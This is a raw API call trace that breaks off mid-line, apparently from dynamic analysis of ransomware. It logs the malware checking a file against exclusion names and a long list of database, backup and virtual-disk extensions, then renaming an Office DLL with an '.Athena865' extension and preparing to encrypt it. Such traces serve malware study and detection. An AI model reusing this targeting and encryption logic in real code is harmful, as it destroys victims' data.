[0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="boot") returned 1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="ids.txt") returned 1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="ntuser.dat") returned -1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="perflogs") returned -1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="MSBuild") returned 1 [0094.360] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20 [0094.360] lstrcpyW (in: lpString1=0x241e8aa, lpString2="NAMECONTROLPROXY.DLL" | out: lpString1="NAMECONTROLPROXY.DLL") returned="NAMECONTROLPROXY.DLL" [0094.360] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20 [0094.360] lstrlenW (lpString="Athena865") returned 9 [0094.360] lstrcmpiW (lpString1="PROXY.DLL", lpString2="Athena865") returned 1 [0094.360] lstrlenW (lpString=".dll") returned 4 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".dll") returned 1 [0094.360] lstrlenW (lpString=".lnk") returned 4 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".lnk") returned 1 [0094.360] lstrlenW (lpString=".ini") returned 4 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".ini") returned 1 [0094.360] lstrlenW (lpString=".sys") returned 4 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".sys") returned 1 [0094.360] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20 [0094.360] lstrlenW (lpString="bak") returned 3 [0094.360] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.360] lstrlenW (lpString="ba_") returned 3 [0094.360] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.360] lstrlenW (lpString="dbb") returned 3 [0094.360] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.360] lstrlenW (lpString="vmdk") returned 4 [0094.360] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.361] lstrlenW (lpString="rar") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.361] lstrlenW (lpString="zip") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.361] lstrlenW (lpString="tgz") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.361] lstrlenW (lpString="vbox") returned 4 [0094.361] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.361] lstrlenW (lpString="vdi") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.361] lstrlenW (lpString="vhd") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.361] lstrlenW (lpString="vhdx") returned 4 [0094.361] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.361] lstrlenW (lpString="avhd") returned 4 [0094.361] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.361] lstrlenW (lpString="db") returned 2 [0094.361] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.361] lstrlenW (lpString="db2") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.361] lstrlenW (lpString="db3") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.361] lstrlenW (lpString="dbf") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.361] lstrlenW (lpString="mdf") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.361] lstrlenW (lpString="mdb") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.361] lstrlenW (lpString="sql") returned 3 [0094.361] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.361] lstrlenW (lpString="sqlite") returned 6 [0094.361] lstrcmpiW (lpString1="XY.DLL", lpString2="sqlite") returned 1 [0094.361] lstrlenW (lpString="sqlite3") returned 7 [0094.362] lstrcmpiW (lpString1="OXY.DLL", lpString2="sqlite3") returned -1 [0094.362] lstrlenW (lpString="sqlitedb") returned 8 [0094.362] lstrcmpiW (lpString1="ROXY.DLL", lpString2="sqlitedb") returned -1 [0094.362] lstrlenW (lpString="xml") returned 3 [0094.362] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.362] lstrlenW (lpString="$er") returned 3 [0094.362] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.362] lstrlenW (lpString="4dd") returned 3 [0094.362] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.362] lstrlenW (lpString="4dl") returned 3 [0094.362] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.362] lstrlenW (lpString="^^^") returned 3 [0094.362] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.362] lstrlenW (lpString="abs") returned 3 [0094.362] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.362] lstrlenW (lpString="abx") returned 3 [0094.362] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.362] lstrlenW (lpString="accdb") returned 5 [0094.362] lstrcmpiW (lpString1="Y.DLL", lpString2="accdb") returned 1 [0094.362] lstrlenW (lpString="accdc") returned 5 [0094.362] lstrcmpiW (lpString1="Y.DLL", lpString2="accdc") returned 1 [0094.362] lstrlenW (lpString="accde") returned 5 [0094.362] lstrcmpiW (lpString1="Y.DLL", lpString2="accde") returned 1 [0094.362] lstrlenW (lpString="accdr") returned 5 [0094.362] lstrcmpiW (lpString1="Y.DLL", lpString2="accdr") returned 1 [0094.362] lstrlenW (lpString="accdt") returned 5 [0094.362] lstrcmpiW (lpString1="Y.DLL", lpString2="accdt") returned 1 [0094.362] lstrlenW (lpString="accdw") returned 5 [0094.362] lstrcmpiW (lpString1="Y.DLL", lpString2="accdw") returned 1 [0094.362] lstrlenW (lpString="accft") returned 5 [0094.362] lstrcmpiW (lpString1="Y.DLL", lpString2="accft") returned 1 [0094.362] lstrlenW (lpString="adb") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.363] lstrlenW (lpString="adb") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.363] lstrlenW (lpString="ade") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.363] lstrlenW (lpString="adf") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.363] lstrlenW (lpString="adn") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.363] lstrlenW (lpString="adp") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.363] lstrlenW (lpString="alf") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.363] lstrlenW (lpString="ask") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.363] lstrlenW (lpString="btr") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.363] lstrlenW (lpString="cat") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.363] lstrlenW (lpString="cdb") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.363] lstrlenW (lpString="ckp") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.363] lstrlenW (lpString="cma") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.363] lstrlenW (lpString="cpd") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.363] lstrlenW (lpString="dacpac") returned 6 [0094.363] lstrcmpiW (lpString1="XY.DLL", lpString2="dacpac") returned 1 [0094.363] lstrlenW (lpString="dad") returned 3 [0094.363] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.363] lstrlenW (lpString="dadiagrams") returned 10 [0094.364] lstrcmpiW (lpString1="LPROXY.DLL", lpString2="dadiagrams") returned 1 [0094.364] lstrlenW (lpString="daschema") returned 8 [0094.364] lstrcmpiW (lpString1="ROXY.DLL", lpString2="daschema") returned 1 [0094.364] lstrlenW (lpString="db-journal") returned 10 [0094.364] lstrcmpiW (lpString1="LPROXY.DLL", lpString2="db-journal") returned 1 [0094.364] lstrlenW (lpString="db-shm") returned 6 [0094.364] lstrcmpiW (lpString1="XY.DLL", lpString2="db-shm") returned 1 [0094.364] lstrlenW (lpString="db-wal") returned 6 [0094.364] lstrcmpiW (lpString1="XY.DLL", lpString2="db-wal") returned 1 [0094.364] lstrlenW (lpString="dbc") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.364] lstrlenW (lpString="dbs") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.364] lstrlenW (lpString="dbt") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.364] lstrlenW (lpString="dbv") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.364] lstrlenW (lpString="dbx") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.364] lstrlenW (lpString="dcb") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.364] lstrlenW (lpString="dct") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.364] lstrlenW (lpString="dcx") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0094.364] lstrlenW (lpString="ddl") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0094.364] lstrlenW (lpString="dlis") returned 4 [0094.364] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0094.364] lstrlenW (lpString="dp1") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0094.364] lstrlenW (lpString="dqy") returned 3 [0094.364] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0094.365] lstrlenW (lpString="dsk") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0094.365] lstrlenW (lpString="dsn") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0094.365] lstrlenW (lpString="dtsx") returned 4 [0094.365] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0094.365] lstrlenW (lpString="dxl") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0094.365] lstrlenW (lpString="eco") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0094.365] lstrlenW (lpString="ecx") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0094.365] lstrlenW (lpString="edb") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0094.365] lstrlenW (lpString="epim") returned 4 [0094.365] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0094.365] lstrlenW (lpString="fcd") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0094.365] lstrlenW (lpString="fdb") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0094.365] lstrlenW (lpString="fic") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0094.365] lstrlenW (lpString="flexolibrary") returned 12 [0094.365] lstrcmpiW (lpString1="ROLPROXY.DLL", lpString2="flexolibrary") returned 1 [0094.365] lstrlenW (lpString="fm5") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0094.365] lstrlenW (lpString="fmp") returned 3 [0094.365] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0094.365] lstrlenW (lpString="fmp12") returned 5 [0094.365] lstrcmpiW (lpString1="Y.DLL", lpString2="fmp12") returned 1 [0094.365] lstrlenW (lpString="fmpsl") returned 5 [0094.365] lstrcmpiW (lpString1="Y.DLL", lpString2="fmpsl") returned 1 [0094.365] lstrlenW (lpString="fol") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0094.366] lstrlenW (lpString="fp3") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0094.366] lstrlenW (lpString="fp4") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0094.366] lstrlenW (lpString="fp5") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0094.366] lstrlenW (lpString="fp7") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0094.366] lstrlenW (lpString="fpt") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0094.366] lstrlenW (lpString="frm") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0094.366] lstrlenW (lpString="gdb") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.366] lstrlenW (lpString="gdb") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.366] lstrlenW (lpString="grdb") returned 4 [0094.366] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0094.366] lstrlenW (lpString="gwi") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0094.366] lstrlenW (lpString="hdb") returned 3 [0094.366] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0094.366] lstrlenW (lpString="his") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0094.367] lstrlenW (lpString="ib") returned 2 [0094.367] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0094.367] lstrlenW (lpString="idb") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0094.367] lstrlenW (lpString="ihx") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0094.367] lstrlenW (lpString="itdb") returned 4 [0094.367] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0094.367] lstrlenW (lpString="itw") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0094.367] lstrlenW (lpString="jet") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0094.367] lstrlenW (lpString="jtx") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0094.367] lstrlenW (lpString="kdb") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0094.367] lstrlenW (lpString="kexi") returned 4 [0094.367] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0094.367] lstrlenW (lpString="kexic") returned 5 [0094.367] lstrcmpiW (lpString1="Y.DLL", lpString2="kexic") returned 1 [0094.367] lstrlenW (lpString="kexis") returned 5 [0094.367] lstrcmpiW (lpString1="Y.DLL", lpString2="kexis") returned 1 [0094.367] lstrlenW (lpString="lgc") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0094.367] lstrlenW (lpString="lwx") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0094.367] lstrlenW (lpString="maf") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0094.367] lstrlenW (lpString="maq") returned 3 [0094.367] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0094.367] lstrlenW (lpString="mar") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0094.368] lstrlenW (lpString="marshal") returned 7 [0094.368] lstrcmpiW (lpString1="OXY.DLL", lpString2="marshal") returned 1 [0094.368] lstrlenW (lpString="mas") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0094.368] lstrlenW (lpString="mav") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0094.368] lstrlenW (lpString="maw") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0094.368] lstrlenW (lpString="mdbhtml") returned 7 [0094.368] lstrcmpiW (lpString1="OXY.DLL", lpString2="mdbhtml") returned 1 [0094.368] lstrlenW (lpString="mdn") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0094.368] lstrlenW (lpString="mdt") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0094.368] lstrlenW (lpString="mfd") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0094.368] lstrlenW (lpString="mpd") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0094.368] lstrlenW (lpString="mrg") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0094.368] lstrlenW (lpString="mud") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0094.368] lstrlenW (lpString="mwb") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0094.368] lstrlenW (lpString="myd") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0094.368] lstrlenW (lpString="ndf") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0094.368] lstrlenW (lpString="nnt") returned 3 [0094.368] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0094.368] lstrlenW (lpString="nrmlib") returned 6 [0094.369] lstrcmpiW (lpString1="XY.DLL", lpString2="nrmlib") returned 1 [0094.369] lstrlenW (lpString="ns2") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0094.369] lstrlenW (lpString="ns3") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0094.369] lstrlenW (lpString="ns4") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0094.369] lstrlenW (lpString="nsf") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0094.369] lstrlenW (lpString="nv") returned 2 [0094.369] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0094.369] lstrlenW (lpString="nv2") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0094.369] lstrlenW (lpString="nwdb") returned 4 [0094.369] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0094.369] lstrlenW (lpString="nyf") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0094.369] lstrlenW (lpString="odb") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.369] lstrlenW (lpString="odb") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.369] lstrlenW (lpString="oqy") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0094.369] lstrlenW (lpString="ora") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0094.369] lstrlenW (lpString="orx") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0094.369] lstrlenW (lpString="owc") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0094.369] lstrlenW (lpString="p96") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0094.369] lstrlenW (lpString="p97") returned 3 [0094.369] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0094.370] lstrlenW (lpString="pan") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0094.370] lstrlenW (lpString="pdb") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0094.370] lstrlenW (lpString="pdm") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0094.370] lstrlenW (lpString="pnz") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0094.370] lstrlenW (lpString="qry") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0094.370] lstrlenW (lpString="qvd") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0094.370] lstrlenW (lpString="rbf") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0094.370] lstrlenW (lpString="rctd") returned 4 [0094.370] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0094.370] lstrlenW (lpString="rod") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0094.370] lstrlenW (lpString="rodx") returned 4 [0094.370] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0094.370] lstrlenW (lpString="rpd") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0094.370] lstrlenW (lpString="rsd") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0094.370] lstrlenW (lpString="sas7bdat") returned 8 [0094.370] lstrcmpiW (lpString1="ROXY.DLL", lpString2="sas7bdat") returned -1 [0094.370] lstrlenW (lpString="sbf") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0094.370] lstrlenW (lpString="scx") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0094.370] lstrlenW (lpString="sdb") returned 3 [0094.370] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0094.371] lstrlenW (lpString="sdc") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0094.371] lstrlenW (lpString="sdf") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0094.371] lstrlenW (lpString="sis") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0094.371] lstrlenW (lpString="spq") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0094.371] lstrlenW (lpString="te") returned 2 [0094.371] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0094.371] lstrlenW (lpString="teacher") returned 7 [0094.371] lstrcmpiW (lpString1="OXY.DLL", lpString2="teacher") returned -1 [0094.371] lstrlenW (lpString="tmd") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0094.371] lstrlenW (lpString="tps") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0094.371] lstrlenW (lpString="trc") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.371] lstrlenW (lpString="trc") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.371] lstrlenW (lpString="trm") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0094.371] lstrlenW (lpString="udb") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0094.371] lstrlenW (lpString="udl") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0094.371] lstrlenW (lpString="usr") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0094.371] lstrlenW (lpString="v12") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0094.371] lstrlenW (lpString="vis") returned 3 [0094.371] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0094.371] lstrlenW (lpString="vpd") returned 3 [0094.372] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0094.372] lstrlenW (lpString="vvv") returned 3 [0094.372] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0094.372] lstrlenW (lpString="wdb") returned 3 [0094.372] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0094.372] lstrlenW (lpString="wmdb") returned 4 [0094.372] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0094.372] lstrlenW (lpString="wrk") returned 3 [0094.372] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0094.372] lstrlenW (lpString="xdb") returned 3 [0094.372] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0094.372] lstrlenW (lpString="xld") returned 3 [0094.372] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0094.372] lstrlenW (lpString="xmlff") returned 5 [0094.372] lstrcmpiW (lpString1="Y.DLL", lpString2="xmlff") returned 1 [0094.372] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL.Athena865") returned 79 [0094.372] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\namecontrolproxy.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\namecontrolproxy.dll.athena865"), dwFlags=0x1) returned 1 [0094.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\namecontrolproxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.374] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16256) returned 1 [0094.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.374] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.375] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.375] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.375] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4280, lpName=0x0) returned 0x17c [0094.376] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4280) returned 0x100000 [0094.378] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.378] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.378] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.379] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.379] CloseHandle (hObject=0x17c) returned 1 [0094.379] CloseHandle (hObject=0x154) returned 1 [0094.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 